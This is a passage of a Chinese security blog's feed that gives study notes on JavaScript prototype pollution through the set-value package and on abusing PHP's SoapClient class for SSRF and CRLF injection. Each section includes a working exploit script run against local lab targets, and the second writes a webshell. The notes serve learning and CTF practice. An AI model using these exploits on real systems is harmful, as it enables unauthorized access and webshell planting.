function">get</span><span class="token punctuation">(</span><span class="token string">'/SpawnPoint'</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res<span class="token punctuation">,</span> next</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    req<span class="token punctuation">.</span>session<span class="token punctuation">.</span>knight <span class="token operator">=</span> <span class="token punctuation">&#123;</span>        <span class="token string-property property">"HP"</span><span class="token operator">:</span> <span class="token number">1000</span><span class="token punctuation">,</span>        <span class="token string-property property">"Gold"</span><span class="token operator">:</span> <span class="token number">10</span><span class="token punctuation">,</span>        <span class="token string-property property">"Firepower"</span><span class="token operator">:</span> <span class="token number">10</span>    <span class="token punctuation">&#125;</span>    res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">"Let's begin!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>router<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token string">"/Privilege"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res<span class="token punctuation">,</span> next</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// Why not ask witch for help?</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>session<span class="token punctuation">.</span>knight <span class="token operator">===</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        res<span class="token punctuation">.</span><span class="token function">redirect</span><span class="token punctuation">(</span><span class="token string">'/SpawnPoint'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>NewAttributeKey <span class="token operator">===</span> <span class="token keyword">undefined</span> <span class="token operator">||</span> req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>NewAttributeValue <span class="token operator">===</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">"What's your problem?"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span><span class="token keyword">else</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">let</span> key <span class="token operator">=</span> req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>NewAttributeKey<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">let</span> value <span class="token operator">=</span> req<span class="token punctuation">.</span>body<span class="token punctuation">.</span>NewAttributeValue<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token function">setFn</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>session<span class="token punctuation">.</span>knight<span class="token punctuation">,</span> key<span class="token punctuation">,</span> value<span class="token punctuation">)</span><span class="token punctuation">;</span>            res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">"Let's have a check!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>module<span class="token punctuation">.</span>exports <span class="token operator">=</span> router<span class="token punctuation">;</span></code></pre><p>审计代码，flag在环境变量中，需要访问<code>DeveloperControlPanel</code>这个路由，并且需要<code>Admin[key] === password</code>，简单来说我们需要知道p1、p2、p3中的任意一个密码即可拿到flag</p><p>根据提示看到<code>Privilege</code>路由，这里访问时<code>knight</code>这个<code>session</code>没定义，则重定向到<code>SpawnPoint</code>创建一个，随后再访问的时候需要携带<code>NewAttributeKey</code>和<code>NewAttributeValue</code>两个参数，来进行<code>setFn</code>操作，可以看到<code>setFn</code>在头部定义<code>const setFn = require(&#39;set-value&#39;);</code></p><ul><li><p><a href="https://www.npmjs.com/package/set-value">set-value</a> : Set nested properties on an object using dot notation. / 使用点表示法在对象上设置嵌套属性。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> set <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'set-value'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> obj <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token function">set</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">'a.b.c'</span><span class="token punctuation">,</span> <span class="token string">'d'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//=> &#123; a: &#123; b: &#123; c: 'd' &#125; &#125; &#125;</span></code></pre></li></ul><p>跟进到这个包的源代码</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token string">'use strict'</span><span class="token punctuation">;</span><span class="token keyword">const</span> isPlain <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'is-plain-object'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">set</span><span class="token punctuation">(</span><span class="token parameter">target<span class="token punctuation">,</span> path<span class="token punctuation">,</span> value<span class="token punctuation">,</span> options</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isObject</span><span class="token punctuation">(</span>target<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> target<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">let</span> opts <span class="token operator">=</span> options <span class="token operator">||</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> isArray <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">isArray</span><span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>isArray <span class="token operator">&amp;&amp;</span> <span class="token keyword">typeof</span> path <span class="token operator">!==</span> <span class="token string">'string'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> target<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">let</span> merge <span class="token operator">=</span> opts<span class="token punctuation">.</span>merge<span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>merge <span class="token operator">&amp;&amp;</span> <span class="token keyword">typeof</span> merge <span class="token operator">!==</span> <span class="token string">'function'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    merge <span class="token operator">=</span> Object<span class="token punctuation">.</span>assign<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">const</span> keys <span class="token operator">=</span> isArray <span class="token operator">?</span> path <span class="token operator">:</span> <span class="token function">split</span><span class="token punctuation">(</span>path<span class="token punctuation">,</span> opts<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> len <span class="token operator">=</span> keys<span class="token punctuation">.</span>length<span class="token punctuation">;</span>  <span class="token keyword">const</span> orig <span class="token operator">=</span> target<span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>options <span class="token operator">&amp;&amp;</span> keys<span class="token punctuation">.</span>length <span class="token operator">===</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">result</span><span class="token punctuation">(</span>target<span class="token punctuation">,</span> keys<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> value<span class="token punctuation">,</span> merge<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> target<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> len<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> prop <span class="token operator">=</span> keys<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isObject</span><span class="token punctuation">(</span>target<span class="token punctuation">[</span>prop<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      target<span class="token punctuation">[</span>prop<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">===</span> len <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token function">result</span><span class="token punctuation">(</span>target<span class="token punctuation">,</span> prop<span class="token punctuation">,</span> value<span class="token punctuation">,</span> merge<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    target <span class="token operator">=</span> target<span class="token punctuation">[</span>prop<span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> orig<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">result</span><span class="token punctuation">(</span><span class="token parameter">target<span class="token punctuation">,</span> path<span class="token punctuation">,</span> value<span class="token punctuation">,</span> merge</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>merge <span class="token operator">&amp;&amp;</span> <span class="token function">isPlain</span><span class="token punctuation">(</span>target<span class="token punctuation">[</span>path<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token function">isPlain</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    target<span class="token punctuation">[</span>path<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">merge</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> target<span class="token punctuation">[</span>path<span class="token punctuation">]</span><span class="token punctuation">,</span> value<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    target<span class="token punctuation">[</span>path<span class="token punctuation">]</span> <span class="token operator">=</span> value<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p>构造<code>NewAttributeKey</code>为<code>__proto__.extrader</code>，<code>NewAttributeValue</code>为<code>extrader</code></p><p><code>path</code>被拆分成<code>[&#39;__proto__&#39;,&#39;extrader&#39;]</code>，第一次的for循环，将<code>target = target[prop]</code>，此时的<code>prop</code>就是<code>__proto__</code>，经过一次循环后<code>target</code>就为<code>req.session.knight.__proto__</code>了，随后<code>i === len - 1</code>判断为最后一个值，进入<code>result</code></p><p>主要看到<code>result</code>这个方法，会将<code>value</code>赋值给<code>target[path]</code>,存在赋值操作,便出现了原型链污染  </p><p>传入<code>result</code>函数的<code>target</code>为<code>req.session.knight.__proto__</code>，<code>req.session.knight</code>的原型是<code>Object</code>，即<code>Object.prototype</code>，我们就可以在<code>Object</code>这个类中定义变量<code>req.session.knight.__proto__[path] = value</code>，即<code>Object.prototype[path] = value</code>，键为path，值为value，value和path我们都可控</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/JavaScript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/image-20210605181626037.png" alt loading="lazy"></p><p>Exp：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> requestssession <span class="token operator">=</span> requests<span class="token punctuation">.</span>session<span class="token punctuation">(</span><span class="token punctuation">)</span>url <span class="token operator">=</span> <span class="token string">'http://127.0.0.1:3000/'</span>data1 <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">"NewAttributeKey"</span> <span class="token punctuation">:</span> <span class="token string">"__proto__.extrader"</span><span class="token punctuation">,</span>    <span class="token string">"NewAttributeValue"</span> <span class="token punctuation">:</span> <span class="token string">"extrader"</span><span class="token punctuation">&#125;</span>data2 <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">"key"</span> <span class="token punctuation">:</span> <span class="token string">"extrader"</span><span class="token punctuation">,</span>    <span class="token string">"password"</span> <span class="token punctuation">:</span> <span class="token string">"extrader"</span><span class="token punctuation">&#125;</span>session<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token operator">+</span><span class="token string">'SpawnPoint'</span><span class="token punctuation">)</span>session<span class="token punctuation">.</span>post<span class="token punctuation">(</span>url<span class="token operator">+</span><span class="token string">'Privilege'</span><span class="token punctuation">,</span> data<span class="token operator">=</span>data1<span class="token punctuation">)</span><span class="token punctuation">.</span>text<span class="token keyword">print</span><span class="token punctuation">(</span>session<span class="token punctuation">.</span>post<span class="token punctuation">(</span>url<span class="token operator">+</span><span class="token string">'DeveloperControlPanel'</span><span class="token punctuation">,</span> data<span class="token operator">=</span>data2<span class="token punctuation">)</span><span class="token punctuation">.</span>text<span class="token punctuation">)</span></code></pre><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><ul><li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">继承与原型链</a></li><li><a href="https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html">深入理解 JavaScript Prototype 污染攻击</a></li><li><a href="https://xz.aliyun.com/t/7182">浅析javascript原型链污染攻击</a></li><li><a href="https://www.huaweicloud.com/articles/588bbccfd343112b66fba197a74dd245.html">JS中的prototype、__proto__与constructor</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;学点新东西，JavaScript独有的安全问题，JavaScript原型链污染，记笔记&lt;/p&gt;
    
    </summary>
    
    
      <category term="备忘录" scheme="https://www.extrader.top/categories/%E5%A4%87%E5%BF%98%E5%BD%95/"/>
    
    
      <category term="原型链" scheme="https://www.extrader.top/tags/%E5%8E%9F%E5%9E%8B%E9%93%BE/"/>
    
      <category term="JavaScript" scheme="https://www.extrader.top/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>php原生类利用</title>
    <link href="https://www.extrader.top/posts/35c0085d/"/>
    <id>https://www.extrader.top/posts/35c0085d/</id>
    <published>2021-05-21T12:00:00.000Z</published>
    <updated>2022-03-26T05:48:50.955Z</updated>
    
    <content type="html"><![CDATA[<h3 id="Class-Found"><a href="#Class-Found" class="headerlink" title="Class Found"></a>Class Found</h3><p><strong>php中含魔术方法的内置类</strong></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token variable">$classes</span> <span class="token operator">=</span> <span class="token function">get_declared_classes</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 返回由已定义类的名字所组成的数组</span><span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$classes</span> <span class="token keyword">as</span> <span class="token variable">$class</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token variable">$methods</span> <span class="token operator">=</span> <span class="token function">get_class_methods</span><span class="token punctuation">(</span><span class="token variable">$class</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 返回由类的方法名组成的数组</span>    <span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$methods</span> <span class="token keyword">as</span> <span class="token variable">$method</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">in_array</span><span class="token punctuation">(</span><span class="token variable">$method</span><span class="token punctuation">,</span> <span class="token keyword">array</span><span class="token punctuation">(</span>            <span class="token string single-quoted-string">'__destruct'</span><span class="token punctuation">,</span>            <span class="token string single-quoted-string">'__toString'</span><span class="token punctuation">,</span>            <span class="token string single-quoted-string">'__wakeup'</span><span class="token punctuation">,</span>            <span class="token string single-quoted-string">'__call'</span><span class="token punctuation">,</span>            <span class="token string single-quoted-string">'__callStatic'</span><span class="token punctuation">,</span>            <span class="token string single-quoted-string">'__get'</span><span class="token punctuation">,</span>            <span class="token string single-quoted-string">'__set'</span><span class="token punctuation">,</span>            <span class="token string single-quoted-string">'__isset'</span><span class="token punctuation">,</span>            <span class="token string single-quoted-string">'__unset'</span><span class="token punctuation">,</span>            <span class="token string single-quoted-string">'__invoke'</span><span class="token punctuation">,</span>            <span class="token string single-quoted-string">'__set_state'</span>        <span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">print</span> <span class="token variable">$class</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'::'</span> <span class="token operator">.</span> <span class="token variable">$method</span> <span class="token operator">.</span> <span class="token string double-quoted-string">";"</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">print</span> <span class="token string double-quoted-string">"\n"</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></span></code></pre><h3 id="SoapClient-call"><a href="#SoapClient-call" class="headerlink" title="SoapClient::__call"></a>SoapClient::__call</h3><p>可进行SSRF</p><p><strong>range</strong>：<code>PHP 5, PHP 7, PHP 8</code></p><blockquote><p>SOAP（简单对象访问协议）是连接或Web服务或客户端和Web服务之间的接口。</p><p>其采用HTTP作为底层通讯协议，XML作为数据传送的格式，仅限于http/https协议</p><p>SOAP消息基本上是从发送端到接收端的单向传输，但它们常常结合起来执行类似于请求 / 应答的模式。</p><p>如果想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项</p></blockquote><pre class="language-php" data-language="php"><code class="language-php">SoapClient <span class="token punctuation">&#123;</span>    <span class="token comment">/* 方法 */</span>    <span class="token keyword">public</span> <span class="token function">__construct</span> <span class="token punctuation">(</span> <span class="token keyword type-declaration">string</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span> <span class="token variable">$wsdl</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">array</span> <span class="token variable">$options</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">)</span>    <span class="token keyword">public</span> <span class="token function">__call</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">array</span> <span class="token variable">$args</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">mixed</span>    <span class="token keyword">public</span> <span class="token function">__doRequest</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$request</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">string</span> <span class="token variable">$location</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">string</span> <span class="token variable">$action</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">int</span> <span class="token variable">$version</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">bool</span> <span class="token variable">$oneWay</span> <span class="token operator">=</span> <span class="token constant boolean">false</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">string</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span>    <span class="token keyword">public</span> <span class="token function">__getCookies</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">array</span>    <span class="token keyword">public</span> <span class="token function">__getFunctions</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">array</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span>    <span class="token keyword">public</span> <span class="token function">__getLastRequest</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">string</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span>    <span class="token keyword">public</span> <span class="token function">__getLastRequestHeaders</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">string</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span>    <span class="token keyword">public</span> <span class="token function">__getLastResponse</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">string</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span>    <span class="token keyword">public</span> <span class="token function">__getLastResponseHeaders</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">string</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span>    <span class="token keyword">public</span> <span class="token function">__getTypes</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">array</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span>    <span class="token keyword">public</span> <span class="token function">__setCookie</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-declaration">string</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span> <span class="token variable">$value</span> <span class="token operator">=</span> <span class="token constant">null</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">void</span>    <span class="token keyword">public</span> <span class="token function">__setLocation</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$location</span> <span class="token operator">=</span> <span class="token string double-quoted-string">""</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">string</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span>    <span class="token keyword">public</span> <span class="token function">__setSoapHeaders</span> <span class="token punctuation">(</span> <span class="token class-name">SoapHeader</span><span class="token operator">|</span><span class="token keyword type-declaration">array</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span> <span class="token variable">$headers</span> <span class="token operator">=</span> <span class="token constant">null</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">bool</span>    <span class="token keyword">public</span> <span class="token function">__soapCall</span> <span class="token punctuation">(</span> <span class="token keyword type-hint">string</span> <span class="token variable">$name</span> <span class="token punctuation">,</span> <span class="token keyword type-hint">array</span> <span class="token variable">$args</span> <span class="token punctuation">,</span> <span class="token keyword type-declaration">array</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span> <span class="token variable">$options</span> <span class="token operator">=</span> <span class="token constant">null</span> <span class="token punctuation">,</span> <span class="token class-name">SoapHeader</span><span class="token operator">|</span><span class="token keyword type-declaration">array</span><span class="token operator">|</span><span class="token keyword type-declaration">null</span> <span class="token variable">$inputHeaders</span> <span class="token operator">=</span> <span class="token constant">null</span> <span class="token punctuation">,</span> <span class="token keyword type-declaration">array</span> <span class="token operator">&amp;</span><span class="token variable">$outputHeaders</span> <span class="token operator">=</span> <span class="token constant">null</span> <span class="token punctuation">)</span> <span class="token punctuation">:</span> <span class="token keyword return-type">mixed</span><span class="token punctuation">&#125;</span></code></pre><p><strong>use</strong></p><ul><li><code>SoapClient::__construct ( string|null $wsdl , array $options = [] )</code><ul><li><code>$wsdl</code>：wsdl文件的uri，如果是NULL意味着不使用WSDL模式。</li><li><code>$options</code>：如果在wsdl模式下，此参数可选；如果在非wsdl模式下，则必须设置location和uri选项，其中location是要将请求发送到的SOAP服务器的URL，而uri 是SOAP服务的目标命名空间。</li></ul></li><li><code>SoapClient::__call ( string $name , array $args ) : mixed</code></li></ul><p>官方的<code>$option</code>参数中有这样的一条介绍</p><pre class="language-none"><code class="language-none">The user_agent option specifies string to use in User-Agent header.</code></pre><p>我们可以自己设置<code>User-Agent</code>的值。当我们可以控制User-Agent的值时，也就意味着我们完全可以构造一个POST请求，因为<code>Content-Type</code>和<code>Content-Length</code>都在<code>User-Agent</code>之下，而控制这两个是利用<code>CRLF</code>发送POST请求最关键的地方。</p><p><strong>Demo</strong></p><p><a href="https://learnku.com/laravel/t/3905/do-you-really-know-ip-how-do-php-get-the-real-user-ip"><code>$_SERVER[&#39;REMOTE_ADDR&#39;]参考</code></a></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'REMOTE_ADDR'</span><span class="token punctuation">]</span><span class="token operator">==</span><span class="token string single-quoted-string">'127.0.0.1'</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    @<span class="token variable">$a</span><span class="token operator">=</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    @<span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$a</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></span></code></pre><p><strong>Exp</strong></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token variable">$target</span><span class="token operator">=</span> <span class="token string single-quoted-string">'http://127.0.0.1/demo.php'</span><span class="token punctuation">;</span><span class="token variable">$post_string</span><span class="token operator">=</span> <span class="token string single-quoted-string">'1=file_put_contents("shell.php", "&lt;?php phpinfo();?>");'</span><span class="token punctuation">;</span><span class="token variable">$headers</span><span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span>   <span class="token string single-quoted-string">'X-Forwarded-For:127.0.0.1'</span><span class="token punctuation">,</span>   <span class="token string single-quoted-string">'Cookie:admin=1'</span>   <span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$b</span><span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">SoapClient</span><span class="token punctuation">(</span><span class="token constant">null</span><span class="token punctuation">,</span><span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'location'</span><span class="token operator">=></span> <span class="token variable">$target</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'user_agent'</span><span class="token operator">=></span><span class="token string single-quoted-string">'wupco^^Content-Type:application/x-www-form-urlencoded^^'</span><span class="token operator">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'^^'</span><span class="token punctuation">,</span><span class="token variable">$headers</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token string single-quoted-string">'^^Content-Length:'</span><span class="token operator">.</span><span class="token punctuation">(</span><span class="token keyword type-casting">string</span><span class="token punctuation">)</span><span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$post_string</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token string single-quoted-string">'^^^^'</span><span class="token operator">.</span><span class="token variable">$post_string</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'uri'</span><span class="token operator">=></span><span class="token string double-quoted-string">"xxx"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//因为User-agent是可以控制的，因此可以利用crlf注入http头部发送post请求</span><span class="token variable">$aaa</span><span class="token operator">=</span> <span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$b</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$aaa</span><span class="token operator">=</span> <span class="token function">str_replace</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'^^'</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'%0d%0a'</span><span class="token punctuation">,</span><span class="token variable">$aaa</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$aaa</span><span class="token operator">=</span> <span class="token function">str_replace</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'&amp;'</span><span class="token punctuation">,</span><span class="token string single-quoted-string">'%26'</span><span class="token punctuation">,</span><span class="token variable">$aaa</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token variable">$aaa</span><span class="token punctuation">;</span><span class="token variable">$x</span><span class="token operator">=</span> <span class="token function">unserialize</span><span class="token punctuation">(</span><span class="token function">urldecode</span><span class="token punctuation">(</span><span class="token variable">$aaa</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//调用__call方法触发网络请求发送</span><span class="token variable">$x</span><span class="token operator">-></span><span class="token function">no_func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/image-20210521214101395.png" alt loading="lazy"></p><p>成功写shell</p><h3 id="Error-Exception"><a href="#Error-Exception" class="headerlink" title="Error/Exception"></a>Error/Exception</h3><p>XSS</p><p><strong>range</strong>：<code>Error(php7, PHP8), Exception(php5, php7, 